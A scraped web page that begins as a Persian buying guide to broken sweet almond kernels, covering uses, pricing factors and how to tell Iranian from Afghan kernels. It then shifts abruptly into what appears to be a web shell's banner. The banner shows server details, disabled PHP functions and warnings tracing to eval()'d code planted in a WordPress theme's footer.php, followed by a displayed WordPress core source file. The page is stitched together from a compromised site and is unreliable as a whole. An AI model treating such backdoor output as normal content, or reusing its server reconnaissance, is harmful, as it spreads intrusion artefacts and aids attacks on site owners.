مغز بادام شیرین شکسته ایرانی جهت تولید محصولات غذایی مختلفی کاربرد دارد. قنادی ها برای تولید انواع شیرینی، کیک، شکلات و بستنی، مغز بادام شیرین را سفید کرده و پودر می کنند. کارگاههای روغن گیری و کارخانه های تولید کره های گیاهی بادام سفید شده و مغز بادام شکسته را جهت تولید کره بادام درختی، تولید روغن بادام شیرین استفاده می نمایند.
مغز بادام شیرین شکسته ایرانی برای همکارانی که مغز بادام را پودر خواهند کرد و یا روغن گیری می نمایند بسیار مناسب است. چون قیمت آن بسیار پایین تر از مغز بادام سالم است.
قیمت مغز بادام لپه(خرد شده) تلخ و شیرین
مغز بادام لپه شیرین و تلخ در بازار با نرخ های متفاوت با توجه به شرایط زیر قیمت گذاری می شود:
با توجه به تازه گی و کهنگی مغز لپه
میزان شکستگی و پودر بودن
سفید شده یا با پوست بودن
میزان خرید مشتری
محصول ایران یا افغانی است
مغز بادام ایرانی به دلیل طعم و مزه خوبی که دارد و درصد بالای روغن آن گرانتر از نمونه افغانی است.
شرایط تولید و فروش مغز بادام شیرین شکسته
زمانی که بادام سنگی شکسته می شود، مغز های سالم به:
بادام سالم درشت
بادام سالم متوسط
بادام سالم ریز سورت می شود و
زیر سرندی مغز ها همان مغز بادام لپه یا سکشته است. ممکن است داخل این مغز ها پوسته های شکسته بادام و یا سنگ ریزه هایی موجود باشد که بوجار شده و از آن جدا می شود.
همچنین بادام های شکسته درشت ر سورت شده جهت روغن گیری به فروش می رسد
مغز هایی که درصد پودر بیشتری دارند برای مصارف قنادی و بستنی بسته بندی می گردد.
مغز بادام شکسته مرغوب
اما چگونه تشخیص بدهیم که مغز بادم لپه ای که می خریم ایرانی است نه افغانی و یا مغز بادام تلخ شیرین شده؟
حتما مزه بادام را تست کنید مغز بادام درختی ایرانی شیرینی بیشتری و دارد و کاملا به مزاج خوش می آید.
دقت کنید مغزها به زردی بزند. هر چه مغز ها تیره تر باشد بیشتر احتمال دارد افغانی بوده باشد.
مغز بادام ایرانی نسبت به نمونه آمریکایی ضخامت کمتری و نسبت به بادام تلخ و مغز بادام شیرین افغانی تپل تر به نظر می رسد.
مغز بادام تلخ شیرین شده بیشتر به بی طعمی می زند در حالی که مغز بادام شیرین، طعم شیرینی مشخصی دارد.
Server IP : 37.187.155.34 / Your IP : 18.117.71.21 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/script-modules.php
<?php
/**
* Script Modules API: Script Module functions
*
* @since 6.5.0
*
* @package WordPress
* @subpackage Script Modules
*/
/**
* Retrieves the main WP_Script_Modules instance.
*
* This function provides access to the WP_Script_Modules instance, creating one
* if it doesn't exist yet.
*
* @global WP_Script_Modules $wp_script_modules
*
* @since 6.5.0
*
* @return WP_Script_Modules The main WP_Script_Modules instance.
*/
function wp_script_modules(): WP_Script_Modules {
global $wp_script_modules;
if ( ! ( $wp_script_modules instanceof WP_Script_Modules ) ) {
$wp_script_modules = new WP_Script_Modules();
}
return $wp_script_modules;
}
/**
* Registers the script module if no script module with that script module
* identifier has already been registered.
*
* @since 6.5.0
*
* @param string $id The identifier of the script module. Should be unique. It will be used in the
* final import map.
* @param string $src Optional. Full URL of the script module, or path of the script module relative
* to the WordPress root directory. If it is provided and the script module has
* not been registered yet, it will be registered.
* @param array $deps {
* Optional. List of dependencies.
*
* @type string|array ...$0 {
* An array of script module identifiers of the dependencies of this script
* module. The dependencies can be strings or arrays. If they are arrays,
* they need an `id` key with the script module identifier, and can contain
* an `import` key with either `static` or `dynamic`. By default,
* dependencies that don't contain an `import` key are considered static.
*
* @type string $id The script module identifier.
* @type string $import Optional. Import type. May be either `static` or
* `dynamic`. Defaults to `static`.
* }
* }
* @param string|false|null $version Optional. String specifying the script module version number. Defaults to false.
* It is added to the URL as a query string for cache busting purposes. If $version
* is set to false, the version number is the currently installed WordPress version.
* If $version is set to null, no version is added.
*/
function wp_register_script_module( string $id, string $src, array $deps = array(), $version = false ) {
wp_script_modules()->register( $id, $src, $deps, $version );
}
/**
* Marks the script module to be enqueued in the page.
*
* If a src is provided and the script module has not been registered yet, it
* will be registered.
*
* @since 6.5.0
*
* @param string $id The identifier of the script module. Should be unique. It will be used in the
* final import map.
* @param string $src Optional. Full URL of the script module, or path of the script module relative
* to the WordPress root directory. If it is provided and the script module has
* not been registered yet, it will be registered.
* @param array $deps {
* Optional. List of dependencies.
*
* @type string|array ...$0 {
* An array of script module identifiers of the dependencies of this script
* module. The dependencies can be strings or arrays. If they are arrays,
* they need an `id` key with the script module identifier, and can contain
* an `import` key with either `static` or `dynamic`. By default,
* dependencies that don't contain an `import` key are considered static.
*
* @type string $id The script module identifier.
* @type string $import Optional. Import type. May be either `static` or
* `dynamic`. Defaults to `static`.
* }
* }
* @param string|false|null $version Optional. String specifying the script module version number. Defaults to false.
* It is added to the URL as a query string for cache busting purposes. If $version
* is set to false, the version number is the currently installed WordPress version.
* If $version is set to null, no version is added.
*/
function wp_enqueue_script_module( string $id, string $src = '', array $deps = array(), $version = false ) {
wp_script_modules()->enqueue( $id, $src, $deps, $version );
}
/**
* Unmarks the script module so it is no longer enqueued in the page.
*
* @since 6.5.0
*
* @param string $id The identifier of the script module.
*/
function wp_dequeue_script_module( string $id ) {
wp_script_modules()->dequeue( $id );
}
/**
* Deregisters the script module.
*
* @since 6.5.0
*
* @param string $id The identifier of the script module.
*/
function wp_deregister_script_module( string $id ) {
wp_script_modules()->deregister( $id );
}